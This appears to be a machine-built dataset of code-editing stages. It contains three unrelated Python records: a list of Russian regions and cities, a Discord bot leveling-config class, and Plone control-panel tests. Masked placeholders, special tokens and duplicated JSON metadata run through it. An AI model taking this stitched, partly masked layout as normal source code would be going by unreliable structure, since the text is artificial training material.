<|reserved_special_token_0|> <|reserved_special_token_1|> REGION_LIST = ['Центральный', 'Северо-Западный', 'Южный', 'Северо-Кавказский', 'Приволжский', 'Уральский', 'Сибирский', 'Дальневосточный'] CITY_LIST = {'Абакан': 7, 'Альметьевск': 5, 'Ангарск': 7, 'Архангельск': 2, 'Астрахань': 3, 'Барнаул': 7, 'Батайск': 3, 'Белгород': 1, 'Бийск': 7, 'Благовещенск': 8, 'Братск': 7, 'Брянск': 1, 'Великий Новгород': 2, 'Владивосток': 8, 'Владикавказ': 4, 'Владимир': 1, 'Волгоград': 3, 'Волжский': 3, 'Вологда': 2, 'Воронеж': 1, 'Грозный': 4, 'Дзержинск': 5, 'Екатеринбург': 6, 'Иваново': 1, 'Ижевск': 5, 'Иркутск': 7, 'Йошкар-Ола': 5, 'Казань': 5, 'Калининград': 2, 'Калуга': 1, 'Кемерово': 7, 'Киров': 5, 'Комсомольск-на-Амуре': 8, 'Кострома': 1, 'Краснодар': 3, 'Красноярск': 7, 'Курган': 6, 'Курск': 1, 'Липецк': 1, 'Магнитогорск': 6, 'Махачкала': 4, 'Миасс': 6, 'Минеральные Воды': 4, 'Москва и Подмосковье': 1, 'Москва': 1, 'Мурманск': 2, 'Набережные Челны': 5, 'Нальчик': 4, 'Нефтекамск': 5, 'Нижневартовск': 6, 'Нижнекамск': 5, 'Нижний Новгород': 5, 'Нижний Тагил': 6, 'Новокузнецк': 7, 'Новомосковск': 1, 'Новороссийск': 3, 'Новосибирск': 7, 'Ноябрьск': 6, 'Обнинск': 1, 'Октябрьский': 5, 'Омск': 7, 'Орел': 1, 'Оренбург': 5, 'Орск': 5, 'Пенза': 5, 'Пермь': 5, 'Петрозаводск': 2, 'Петропавловск-Камчатский': 8, 'Прокопьевск': 7, 'Псков': 2, 'Пятигорск': 4, 'Ростов-на-Дону': 3, 'Рязань': 1, 'Самара': 5, 'Санкт-Петербург': 2, 'Саранск': 5, 'Саратов': 5, 'Севастополь': 3, 'Северодвинск': 2, 'Симферополь': 3, 'Смоленск': 1, 'Сочи': 3, 'Ставрополь': 4, 'Старый Оскол': 1, 'Стерлитамак': 5, 'Сургут': 6, 'Сыктывкар': 2, 'Таганрог': 3, 'Тамбов': 1, 'Тверь': 1, 'Тольятти': 5, 'Томск': 7, 'Тула': 1, 'Тюмень': 6, 'Улан-Удэ': 7, 'Ульяновск': 5, 'Уфа': 5, 'Хабаровск': 8, 'Чебоксары': 5, 'Челябинск': 6, 'Череповец': 2, 'Чита': 7, 'Шахты': 3, 'Энгельс': 5, 'Южно-Сахалинск': 8, 'Якутск': 8, 'Ярославль': 1} <|reserved_special_token_1|> REGION_LIST = [ 'Центральный', 'Северо-Западный', 'Южный', 'Северо-Кавказский', 'Приволжский', 'Уральский', 'Сибирский', 'Дальневосточный', ] CITY_LIST = { 'Абакан': 7, 'Альметьевск': 5, 'Ангарск': 7, 'Архангельск': 2, 'Астрахань': 3, 'Барнаул': 7, 'Батайск': 3, 'Белгород': 1, 'Бийск': 7, 'Благовещенск': 8, 'Братск': 7, 'Брянск': 1, 'Великий Новгород': 2, 'Владивосток': 8, 'Владикавказ': 4, 'Владимир': 1, 'Волгоград': 3, 'Волжский': 3, 'Вологда': 2, 'Воронеж': 1, 'Грозный': 4, 'Дзержинск': 5, 'Екатеринбург': 6, 'Иваново': 1, 'Ижевск': 5, 'Иркутск': 7, 'Йошкар-Ола': 5, 'Казань': 5, 'Калининград': 2, 'Калуга': 1, 'Кемерово': 7, 'Киров': 5, 'Комсомольск-на-Амуре': 8, 'Кострома': 1, 'Краснодар': 3, 'Красноярск': 7, 'Курган': 6, 'Курск': 1, 'Липецк': 1, 'Магнитогорск': 6, 'Махачкала': 4, 'Миасс': 6, 'Минеральные Воды': 4, 'Москва и Подмосковье': 1, 'Москва': 1, 'Мурманск': 2, 'Набережные Челны': 5, 'Нальчик': 4, 'Нефтекамск': 5, 'Нижневартовск': 6, 'Нижнекамск': 5, 'Нижний Новгород': 5, 'Нижний Тагил': 6, 'Новокузнецк': 7, 'Новомосковск': 1, 'Новороссийск': 3, 'Новосибирск': 7, 'Ноябрьск': 6, 'Обнинск': 1, 'Октябрьский': 5, 'Омск': 7, 'Орел': 1, 'Оренбург': 5, 'Орск': 5, 'Пенза': 5, 'Пермь': 5, 'Петрозаводск': 2, 'Петропавловск-Камчатский': 8, 'Прокопьевск': 7, 'Псков': 2, 'Пятигорск': 4, 'Ростов-на-Дону': 3, 'Рязань': 1, 'Самара': 5, 'Санкт-Петербург': 2, 'Саранск': 5, 'Саратов': 5, 'Севастополь': 3, 'Северодвинск': 2, 'Симферополь': 3, 'Смоленск': 1, 'Сочи': 3, 'Ставрополь': 4, 'Старый Оскол': 1, 'Стерлитамак': 5, 'Сургут': 6, 'Сыктывкар': 2, 'Таганрог': 3, 'Тамбов': 1, 'Тверь': 1, 'Тольятти': 5, 'Томск': 7, 'Тула': 1, 'Тюмень': 6, 'Улан-Удэ': 7, 'Ульяновск': 5, 'Уфа': 5, 'Хабаровск': 8, 'Чебоксары': 5, 'Челябинск': 6, 'Череповец': 2, 'Чита': 7, 'Шахты': 3, 'Энгельс': 5, 'Южно-Сахалинск': 8, 'Якутск': 8, 'Ярославль': 1, }
flexible
{ "blob_id": "2101299d6f6bfcd4726591fc256317968373ca1f", "index": 3071, "step-1": "<mask token>\n", "step-2": "REGION_LIST = ['Центральный', 'Северо-Западный', 'Южный',\n 'Северо-Кавказский', 'Приволжский', 'Уральский', 'Сибирский',\n 'Дальневосточный']\nCITY_LIST = {'Абакан': 7, 'Альметьевск': 5, 'Ангарск': 7, 'Архангельск': 2,\n 'Астрахань': 3, 'Барнаул': 7, 'Батайск': 3, 'Белгород': 1, 'Бийск': 7,\n 'Благовещенск': 8, 'Братск': 7, 'Брянск': 1, 'Великий Новгород': 2,\n 'Владивосток': 8, 'Владикавказ': 4, 'Владимир': 1, 'Волгоград': 3,\n 'Волжский': 3, 'Вологда': 2, 'Воронеж': 1, 'Грозный': 4, 'Дзержинск': 5,\n 'Екатеринбург': 6, 'Иваново': 1, 'Ижевск': 5, 'Иркутск': 7,\n 'Йошкар-Ола': 5, 'Казань': 5, 'Калининград': 2, 'Калуга': 1, 'Кемерово':\n 7, 'Киров': 5, 'Комсомольск-на-Амуре': 8, 'Кострома': 1, 'Краснодар': 3,\n 'Красноярск': 7, 'Курган': 6, 'Курск': 1, 'Липецк': 1, 'Магнитогорск': \n 6, 'Махачкала': 4, 'Миасс': 6, 'Минеральные Воды': 4,\n 'Москва и Подмосковье': 1, 'Москва': 1, 'Мурманск': 2,\n 'Набережные Челны': 5, 'Нальчик': 4, 'Нефтекамск': 5, 'Нижневартовск': \n 6, 'Нижнекамск': 5, 'Нижний Новгород': 5, 'Нижний Тагил': 6,\n 'Новокузнецк': 7, 'Новомосковск': 1, 'Новороссийск': 3, 'Новосибирск': \n 7, 'Ноябрьск': 6, 'Обнинск': 1, 'Октябрьский': 5, 'Омск': 7, 'Орел': 1,\n 'Оренбург': 5, 'Орск': 5, 'Пенза': 5, 'Пермь': 5, 'Петрозаводск': 2,\n 'Петропавловск-Камчатский': 8, 'Прокопьевск': 7, 'Псков': 2,\n 'Пятигорск': 4, 'Ростов-на-Дону': 3, 'Рязань': 1, 'Самара': 5,\n 'Санкт-Петербург': 2, 'Саранск': 5, 'Саратов': 5, 'Севастополь': 3,\n 'Северодвинск': 2, 'Симферополь': 3, 'Смоленск': 1, 'Сочи': 3,\n 'Ставрополь': 4, 'Старый Оскол': 1, 'Стерлитамак': 5, 'Сургут': 6,\n 'Сыктывкар': 2, 'Таганрог': 3, 'Тамбов': 1, 'Тверь': 1, 'Тольятти': 5,\n 'Томск': 7, 'Тула': 1, 'Тюмень': 6, 'Улан-Удэ': 7, 'Ульяновск': 5,\n 'Уфа': 5, 'Хабаровск': 8, 'Чебоксары': 5, 'Челябинск': 6, 'Череповец': \n 2, 'Чита': 7, 'Шахты': 3, 'Энгельс': 5, 'Южно-Сахалинск': 8, 'Якутск': \n 8, 'Ярославль': 1}\n", "step-3": "REGION_LIST = [\n 'Центральный',\n 'Северо-Западный',\n 'Южный',\n 'Северо-Кавказский',\n 'Приволжский',\n 'Уральский',\n 'Сибирский',\n 'Дальневосточный',\n]\n\nCITY_LIST = {\n 'Абакан': 7,\n 'Альметьевск': 5,\n 'Ангарск': 7,\n 'Архангельск': 2,\n 'Астрахань': 3,\n 'Барнаул': 7,\n 'Батайск': 3,\n 'Белгород': 1,\n 'Бийск': 7,\n 'Благовещенск': 8,\n 'Братск': 7,\n 'Брянск': 1,\n 'Великий Новгород': 2,\n 'Владивосток': 8,\n 'Владикавказ': 4,\n 'Владимир': 1,\n 'Волгоград': 3,\n 'Волжский': 3,\n 'Вологда': 2,\n 'Воронеж': 1,\n 'Грозный': 4,\n 'Дзержинск': 5,\n 'Екатеринбург': 6,\n 'Иваново': 1,\n 'Ижевск': 5,\n 'Иркутск': 7,\n 'Йошкар-Ола': 5,\n 'Казань': 5,\n 'Калининград': 2,\n 'Калуга': 1,\n 'Кемерово': 7,\n 'Киров': 5,\n 'Комсомольск-на-Амуре': 8,\n 'Кострома': 1,\n 'Краснодар': 3,\n 'Красноярск': 7,\n 'Курган': 6,\n 'Курск': 1,\n 'Липецк': 1,\n 'Магнитогорск': 6,\n 'Махачкала': 4,\n 'Миасс': 6,\n 'Минеральные Воды': 4,\n 'Москва и Подмосковье': 1,\n 'Москва': 1,\n 'Мурманск': 2,\n 'Набережные Челны': 5,\n 'Нальчик': 4,\n 'Нефтекамск': 5,\n 'Нижневартовск': 6,\n 'Нижнекамск': 5,\n 'Нижний Новгород': 5,\n 'Нижний Тагил': 6,\n 'Новокузнецк': 7,\n 'Новомосковск': 1,\n 'Новороссийск': 3,\n 'Новосибирск': 7,\n 'Ноябрьск': 6,\n 'Обнинск': 1,\n 'Октябрьский': 5,\n 'Омск': 7,\n 'Орел': 1,\n 'Оренбург': 5,\n 'Орск': 5,\n 'Пенза': 5,\n 'Пермь': 5,\n 'Петрозаводск': 2,\n 'Петропавловск-Камчатский': 8,\n 'Прокопьевск': 7,\n 'Псков': 2,\n 'Пятигорск': 4,\n 'Ростов-на-Дону': 3,\n 'Рязань': 1,\n 'Самара': 5,\n 'Санкт-Петербург': 2,\n 'Саранск': 5,\n 'Саратов': 5,\n 'Севастополь': 3,\n 'Северодвинск': 2,\n 'Симферополь': 3,\n 'Смоленск': 1,\n 'Сочи': 3,\n 'Ставрополь': 4,\n 'Старый Оскол': 1,\n 'Стерлитамак': 5,\n 'Сургут': 6,\n 'Сыктывкар': 2,\n 'Таганрог': 3,\n 'Тамбов': 1,\n 'Тверь': 1,\n 'Тольятти': 5,\n 'Томск': 7,\n 'Тула': 1,\n 'Тюмень': 6,\n 'Улан-Удэ': 7,\n 'Ульяновск': 5,\n 'Уфа': 5,\n 'Хабаровск': 8,\n 'Чебоксары': 5,\n 'Челябинск': 6,\n 'Череповец': 2,\n 'Чита': 7,\n 'Шахты': 3,\n 'Энгельс': 5,\n 'Южно-Сахалинск': 8,\n 'Якутск': 8,\n 'Ярославль': 1,\n}\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
<|reserved_special_token_0|> class Leveling: <|reserved_special_token_0|> sid: int channelID: int message: str noxpchannelIDs: list[int] noxproleID: int remove: bool roles: list[list] <|reserved_special_token_0|> @property def channel(self) ->discord.TextChannel: guild = self.bot.get_guild(self.sid) return guild and guild.get_channel(self.channelID) async def reload(self): record = await self.bot.db.fetchrow( 'SELECT * FROM config.leveling WHERE sid = $1', self.sid) self.remove = record['remove'] self.message = record['message'] self.channelID = record['channel'] self.noxproleID = record['noxprole'] self.roles = record['roles'] or [] self.noxpchannelIDs = record['noxpchannels'] or [] <|reserved_special_token_1|> <|reserved_special_token_0|> class Leveling: <|reserved_special_token_0|> sid: int channelID: int message: str noxpchannelIDs: list[int] noxproleID: int remove: bool roles: list[list] def __init__(self, bot, sid, record): self.sid = sid self.bot = bot if record is None: self.roles = [] self.noxpchannelIDs = [] self.remove = None self.channelID = None self.message = None self.noxproleID = None else: self.remove = record.get('remove') self.message = record.get('message') self.channelID = record.get('channel') self.noxproleID = record.get('noxprole') self.noxpchannelIDs = record.get('noxpchannels') or [] self.roles = record.get('roles') or [] @property def channel(self) ->discord.TextChannel: guild = self.bot.get_guild(self.sid) return guild and guild.get_channel(self.channelID) async def reload(self): record = await self.bot.db.fetchrow( 'SELECT * FROM config.leveling WHERE sid = $1', self.sid) self.remove = record['remove'] self.message = record['message'] self.channelID = record['channel'] self.noxproleID = record['noxprole'] self.roles = record['roles'] or [] self.noxpchannelIDs = record['noxpchannels'] or [] <|reserved_special_token_1|> <|reserved_special_token_0|> class Leveling: __slots__ = ('sid', 'channelID', 'message', 'noxpchannelIDs', 'noxproleID', 'remove', 'bot', 'roles') sid: int channelID: int message: str noxpchannelIDs: list[int] noxproleID: int remove: bool roles: list[list] def __init__(self, bot, sid, record): self.sid = sid self.bot = bot if record is None: self.roles = [] self.noxpchannelIDs = [] self.remove = None self.channelID = None self.message = None self.noxproleID = None else: self.remove = record.get('remove') self.message = record.get('message') self.channelID = record.get('channel') self.noxproleID = record.get('noxprole') self.noxpchannelIDs = record.get('noxpchannels') or [] self.roles = record.get('roles') or [] @property def channel(self) ->discord.TextChannel: guild = self.bot.get_guild(self.sid) return guild and guild.get_channel(self.channelID) async def reload(self): record = await self.bot.db.fetchrow( 'SELECT * FROM config.leveling WHERE sid = $1', self.sid) self.remove = record['remove'] self.message = record['message'] self.channelID = record['channel'] self.noxproleID = record['noxprole'] self.roles = record['roles'] or [] self.noxpchannelIDs = record['noxpchannels'] or [] <|reserved_special_token_1|> import discord class Leveling: __slots__ = ('sid', 'channelID', 'message', 'noxpchannelIDs', 'noxproleID', 'remove', 'bot', 'roles') sid: int channelID: int message: str noxpchannelIDs: list[int] noxproleID: int remove: bool roles: list[list] def __init__(self, bot, sid, record): self.sid = sid self.bot = bot if record is None: self.roles = [] self.noxpchannelIDs = [] self.remove = None self.channelID = None self.message = None self.noxproleID = None else: self.remove = record.get('remove') self.message = record.get('message') self.channelID = record.get('channel') self.noxproleID = record.get('noxprole') self.noxpchannelIDs = record.get('noxpchannels') or [] self.roles = record.get('roles') or [] @property def channel(self) ->discord.TextChannel: guild = self.bot.get_guild(self.sid) return guild and guild.get_channel(self.channelID) async def reload(self): record = await self.bot.db.fetchrow( 'SELECT * FROM config.leveling WHERE sid = $1', self.sid) self.remove = record['remove'] self.message = record['message'] self.channelID = record['channel'] self.noxproleID = record['noxprole'] self.roles = record['roles'] or [] self.noxpchannelIDs = record['noxpchannels'] or []
flexible
{ "blob_id": "346df9706dc222f43a77928964cd54e7d999a585", "index": 8052, "step-1": "<mask token>\n\n\nclass Leveling:\n <mask token>\n sid: int\n channelID: int\n message: str\n noxpchannelIDs: list[int]\n noxproleID: int\n remove: bool\n roles: list[list]\n <mask token>\n\n @property\n def channel(self) ->discord.TextChannel:\n guild = self.bot.get_guild(self.sid)\n return guild and guild.get_channel(self.channelID)\n\n async def reload(self):\n record = await self.bot.db.fetchrow(\n 'SELECT * FROM config.leveling WHERE sid = $1', self.sid)\n self.remove = record['remove']\n self.message = record['message']\n self.channelID = record['channel']\n self.noxproleID = record['noxprole']\n self.roles = record['roles'] or []\n self.noxpchannelIDs = record['noxpchannels'] or []\n", "step-2": "<mask token>\n\n\nclass Leveling:\n <mask token>\n sid: int\n channelID: int\n message: str\n noxpchannelIDs: list[int]\n noxproleID: int\n remove: bool\n roles: list[list]\n\n def __init__(self, bot, sid, record):\n self.sid = sid\n self.bot = bot\n if record is None:\n self.roles = []\n self.noxpchannelIDs = []\n self.remove = None\n self.channelID = None\n self.message = None\n self.noxproleID = None\n else:\n self.remove = record.get('remove')\n self.message = record.get('message')\n self.channelID = record.get('channel')\n self.noxproleID = record.get('noxprole')\n self.noxpchannelIDs = record.get('noxpchannels') or []\n self.roles = record.get('roles') or []\n\n @property\n def channel(self) ->discord.TextChannel:\n guild = self.bot.get_guild(self.sid)\n return guild and guild.get_channel(self.channelID)\n\n async def reload(self):\n record = await self.bot.db.fetchrow(\n 'SELECT * FROM config.leveling WHERE sid = $1', self.sid)\n self.remove = record['remove']\n self.message = record['message']\n self.channelID = record['channel']\n self.noxproleID = record['noxprole']\n self.roles = record['roles'] or []\n self.noxpchannelIDs = record['noxpchannels'] or []\n", "step-3": "<mask token>\n\n\nclass Leveling:\n __slots__ = ('sid', 'channelID', 'message', 'noxpchannelIDs',\n 'noxproleID', 'remove', 'bot', 'roles')\n sid: int\n channelID: int\n message: str\n noxpchannelIDs: list[int]\n noxproleID: int\n remove: bool\n roles: list[list]\n\n def __init__(self, bot, sid, record):\n self.sid = sid\n self.bot = bot\n if record is None:\n self.roles = []\n self.noxpchannelIDs = []\n self.remove = None\n self.channelID = None\n self.message = None\n self.noxproleID = None\n else:\n self.remove = record.get('remove')\n self.message = record.get('message')\n self.channelID = record.get('channel')\n self.noxproleID = record.get('noxprole')\n self.noxpchannelIDs = record.get('noxpchannels') or []\n self.roles = record.get('roles') or []\n\n @property\n def channel(self) ->discord.TextChannel:\n guild = self.bot.get_guild(self.sid)\n return guild and guild.get_channel(self.channelID)\n\n async def reload(self):\n record = await self.bot.db.fetchrow(\n 'SELECT * FROM config.leveling WHERE sid = $1', self.sid)\n self.remove = record['remove']\n self.message = record['message']\n self.channelID = record['channel']\n self.noxproleID = record['noxprole']\n self.roles = record['roles'] or []\n self.noxpchannelIDs = record['noxpchannels'] or []\n", "step-4": "import discord\n\n\nclass Leveling:\n __slots__ = ('sid', 'channelID', 'message', 'noxpchannelIDs',\n 'noxproleID', 'remove', 'bot', 'roles')\n sid: int\n channelID: int\n message: str\n noxpchannelIDs: list[int]\n noxproleID: int\n remove: bool\n roles: list[list]\n\n def __init__(self, bot, sid, record):\n self.sid = sid\n self.bot = bot\n if record is None:\n self.roles = []\n self.noxpchannelIDs = []\n self.remove = None\n self.channelID = None\n self.message = None\n self.noxproleID = None\n else:\n self.remove = record.get('remove')\n self.message = record.get('message')\n self.channelID = record.get('channel')\n self.noxproleID = record.get('noxprole')\n self.noxpchannelIDs = record.get('noxpchannels') or []\n self.roles = record.get('roles') or []\n\n @property\n def channel(self) ->discord.TextChannel:\n guild = self.bot.get_guild(self.sid)\n return guild and guild.get_channel(self.channelID)\n\n async def reload(self):\n record = await self.bot.db.fetchrow(\n 'SELECT * FROM config.leveling WHERE sid = $1', self.sid)\n self.remove = record['remove']\n self.message = record['message']\n self.channelID = record['channel']\n self.noxproleID = record['noxprole']\n self.roles = record['roles'] or []\n self.noxpchannelIDs = record['noxpchannels'] or []\n", "step-5": null, "step-ids": [ 2, 3, 4, 5 ] }
[ 2, 3, 4, 5 ]
<|reserved_special_token_0|> class TestConfiglet(unittest.TestCase): <|reserved_special_token_0|> <|reserved_special_token_0|> def test_default_config(self): """ Validate the default values """ registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertEqual(settings.source_formats, ['JPEG', 'GIF']) self.assertFalse(settings.optimize) self.assertFalse(settings.enabled) def test_change_config(self): """ Validate the default values """ browser = Browser(self.app) portalURL = self.portal.absolute_url() browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD)) browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Optimize PNG').selected = True browser.getControl('Enabled').selected = True browser.getControl('Save').click() registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertTrue(settings.optimize) self.assertTrue(settings.enabled) def test_cancel_config(self): """ Validate the default values """ browser = Browser(self.app) portalURL = self.portal.absolute_url() browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD)) browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Optimize PNG').selected = True browser.getControl('Enabled').selected = True browser.getControl('Cancel').click() registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertFalse(settings.optimize) self.assertFalse(settings.enabled) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class TestConfiglet(unittest.TestCase): <|reserved_special_token_0|> def setUp(self): self.app = self.layer['app'] self.portal = self.layer['portal'] def test_default_config(self): """ Validate the default values """ registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertEqual(settings.source_formats, ['JPEG', 'GIF']) self.assertFalse(settings.optimize) self.assertFalse(settings.enabled) def test_change_config(self): """ Validate the default values """ browser = Browser(self.app) portalURL = self.portal.absolute_url() browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD)) browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Optimize PNG').selected = True browser.getControl('Enabled').selected = True browser.getControl('Save').click() registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertTrue(settings.optimize) self.assertTrue(settings.enabled) def test_cancel_config(self): """ Validate the default values """ browser = Browser(self.app) portalURL = self.portal.absolute_url() browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD)) browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Optimize PNG').selected = True browser.getControl('Enabled').selected = True browser.getControl('Cancel').click() registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertFalse(settings.optimize) self.assertFalse(settings.enabled) def test_migrate_button(self): """ Check for the migrate button """ browser = Browser(self.app) portalURL = self.portal.absolute_url() browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD)) browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Enabled').selected = True browser.getControl('Save').click() browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Optimize PNG').selected = True browser.getControl('Migrate').click() registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertTrue(settings.optimize) self.assertTrue(settings.enabled) <|reserved_special_token_1|> <|reserved_special_token_0|> class TestConfiglet(unittest.TestCase): layer = OPENMULTIMEDIA_IMAGEWATCHDOG_FUNCTIONAL_TESTING def setUp(self): self.app = self.layer['app'] self.portal = self.layer['portal'] def test_default_config(self): """ Validate the default values """ registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertEqual(settings.source_formats, ['JPEG', 'GIF']) self.assertFalse(settings.optimize) self.assertFalse(settings.enabled) def test_change_config(self): """ Validate the default values """ browser = Browser(self.app) portalURL = self.portal.absolute_url() browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD)) browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Optimize PNG').selected = True browser.getControl('Enabled').selected = True browser.getControl('Save').click() registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertTrue(settings.optimize) self.assertTrue(settings.enabled) def test_cancel_config(self): """ Validate the default values """ browser = Browser(self.app) portalURL = self.portal.absolute_url() browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD)) browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Optimize PNG').selected = True browser.getControl('Enabled').selected = True browser.getControl('Cancel').click() registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertFalse(settings.optimize) self.assertFalse(settings.enabled) def test_migrate_button(self): """ Check for the migrate button """ browser = Browser(self.app) portalURL = self.portal.absolute_url() browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD)) browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Enabled').selected = True browser.getControl('Save').click() browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Optimize PNG').selected = True browser.getControl('Migrate').click() registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertTrue(settings.optimize) self.assertTrue(settings.enabled) <|reserved_special_token_1|> import unittest2 as unittest from zope.component import getUtility from plone.registry.interfaces import IRegistry from plone.testing.z2 import Browser from plone.app.testing import SITE_OWNER_NAME, SITE_OWNER_PASSWORD from openmultimedia.imagewatchdog.configlet import IImageWatchDogSettings from openmultimedia.imagewatchdog.testing import OPENMULTIMEDIA_IMAGEWATCHDOG_FUNCTIONAL_TESTING class TestConfiglet(unittest.TestCase): layer = OPENMULTIMEDIA_IMAGEWATCHDOG_FUNCTIONAL_TESTING def setUp(self): self.app = self.layer['app'] self.portal = self.layer['portal'] def test_default_config(self): """ Validate the default values """ registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertEqual(settings.source_formats, ['JPEG', 'GIF']) self.assertFalse(settings.optimize) self.assertFalse(settings.enabled) def test_change_config(self): """ Validate the default values """ browser = Browser(self.app) portalURL = self.portal.absolute_url() browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD)) browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Optimize PNG').selected = True browser.getControl('Enabled').selected = True browser.getControl('Save').click() registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertTrue(settings.optimize) self.assertTrue(settings.enabled) def test_cancel_config(self): """ Validate the default values """ browser = Browser(self.app) portalURL = self.portal.absolute_url() browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD)) browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Optimize PNG').selected = True browser.getControl('Enabled').selected = True browser.getControl('Cancel').click() registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertFalse(settings.optimize) self.assertFalse(settings.enabled) def test_migrate_button(self): """ Check for the migrate button """ browser = Browser(self.app) portalURL = self.portal.absolute_url() browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD)) browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Enabled').selected = True browser.getControl('Save').click() browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Optimize PNG').selected = True browser.getControl('Migrate').click() registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertTrue(settings.optimize) self.assertTrue(settings.enabled) <|reserved_special_token_1|> import unittest2 as unittest from zope.component import getUtility from plone.registry.interfaces import IRegistry from plone.testing.z2 import Browser from plone.app.testing import SITE_OWNER_NAME, SITE_OWNER_PASSWORD from openmultimedia.imagewatchdog.configlet import IImageWatchDogSettings from openmultimedia.imagewatchdog.testing import \ OPENMULTIMEDIA_IMAGEWATCHDOG_FUNCTIONAL_TESTING class TestConfiglet(unittest.TestCase): layer = OPENMULTIMEDIA_IMAGEWATCHDOG_FUNCTIONAL_TESTING def setUp(self): self.app = self.layer['app'] self.portal = self.layer['portal'] def test_default_config(self): """ Validate the default values """ registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertEqual(settings.source_formats, ['JPEG', 'GIF']) self.assertFalse(settings.optimize) self.assertFalse(settings.enabled) def test_change_config(self): """ Validate the default values """ browser = Browser(self.app) portalURL = self.portal.absolute_url() browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD)) browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Optimize PNG').selected = True browser.getControl('Enabled').selected = True browser.getControl('Save').click() registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertTrue(settings.optimize) self.assertTrue(settings.enabled) def test_cancel_config(self): """ Validate the default values """ browser = Browser(self.app) portalURL = self.portal.absolute_url() browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD)) browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Optimize PNG').selected = True browser.getControl('Enabled').selected = True browser.getControl('Cancel').click() registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertFalse(settings.optimize) self.assertFalse(settings.enabled) def test_migrate_button(self): """ Check for the migrate button """ browser = Browser(self.app) portalURL = self.portal.absolute_url() browser.addHeader('Authorization', 'Basic %s:%s' % (SITE_OWNER_NAME, SITE_OWNER_PASSWORD)) browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Enabled').selected = True browser.getControl('Save').click() # Now there is a migrate button browser.open(portalURL + '/@@overview-controlpanel') browser.getLink('Image WatchDog settings').click() browser.getControl('Optimize PNG').selected = True browser.getControl('Migrate').click() registry = getUtility(IRegistry) settings = registry.forInterface(IImageWatchDogSettings) self.assertTrue(settings.optimize) self.assertTrue(settings.enabled)
flexible
